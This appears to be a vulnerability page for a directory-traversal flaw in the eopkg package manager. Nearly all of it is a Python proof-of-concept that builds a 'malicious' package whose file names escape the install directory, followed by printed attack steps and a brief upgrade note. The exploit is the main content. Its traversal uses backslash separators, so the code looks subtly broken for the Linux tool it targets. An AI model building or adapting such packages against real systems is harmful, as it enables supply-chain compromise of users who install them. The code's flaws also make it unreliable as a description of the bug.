CVE-2026-21436 eopkg包管理器目录遍历漏洞

#!/usr/bin/env python3 # CVE-2026-21436 PoC - Malicious eopkg package with path traversal # This PoC demonstrates how a malicious package can escape --destdir import os import tarfile import tempfile def create_malicious_package(): """Create a malicious eopkg package with path traversal payload""" # Create package directory structure pkg_dir = tempfile.mkdtemp() install_dir = os.path.join(pkg_dir, 'install') os.makedirs(install_dir) # Create malicious file that will escape destdir # Using path traversal to write outside destdir malicious_filename = "..\\..\\..\\..\\..\\tmp\\malicious_script.sh" malicious_path = os.path.join(install_dir, malicious_filename) with open(malicious_path, 'w') as f: f.write("#!/bin/bash\n") f.write("# Malicious payload - escalate privileges or execute code\n") f.write("echo 'PWNED' > /tmp/pwned.txt\n") # Create package metadata (pspec.xml) pspec_content = '''<?xml version="1.0"?> <Package name="malicious-package" version="1.0" summary="Malicious package"> <Maintainer>Attacker <[email protected]></Maintainer> <License>GPL-3.0</License> <IsSourcePackage>false</IsSourcePackage> <History> <Update release="1"> <Date>2026-01-01</Date> <Version>1.0</Version> <Comment>Initial release</Comment> </Update> </History> <Sources> <File type="local" path="malicious-package-1.0.tar.xz"/> </Sources> </Package> ''' with open(os.path.join(pkg_dir, 'pspec.xml'), 'w') as f: f.write(pspec_content) # Create eopkg archive output_pkg = 'malicious-package-1.0.eopkg' with tarfile.open(output_pkg, 'w:xz') as tar: tar.add(pkg_dir, arcname='.') print(f"[+] Created malicious package: {output_pkg}") print(f"[+] Package contains: {malicious_filename}") print(f"[+] When installed with --destdir=/tmp/dest, file will escape to /tmp/malicious_script.sh") return output_pkg def simulate_attack(): """Simulate the attack scenario""" print("=" * 60) print("CVE-2026-21436 Attack Simulation") print("=" * 60) print("\n[!] Attack Prerequisites:") print(" 1. Attacker controls package source or compromises repository") print(" 2. Victim installs package from attacker's source") print(" 3. Victim uses --destdir to isolate installation") print("\n[!] Attack Steps:") print(" 1. Attacker creates malicious package with path traversal in filenames") print(" 2. Victim: eopkg install --destdir=/tmp/isolated malicious.eopkg") print(" 3. Files escape /tmp/isolated to /tmp/malicious_script.sh") print(" 4. Attacker achieves code execution or system compromise") print("\n[+] Mitigation: Upgrade to eopkg >= 4.4.0") if __name__ == "__main__": create_malicious_package() simulate_attack()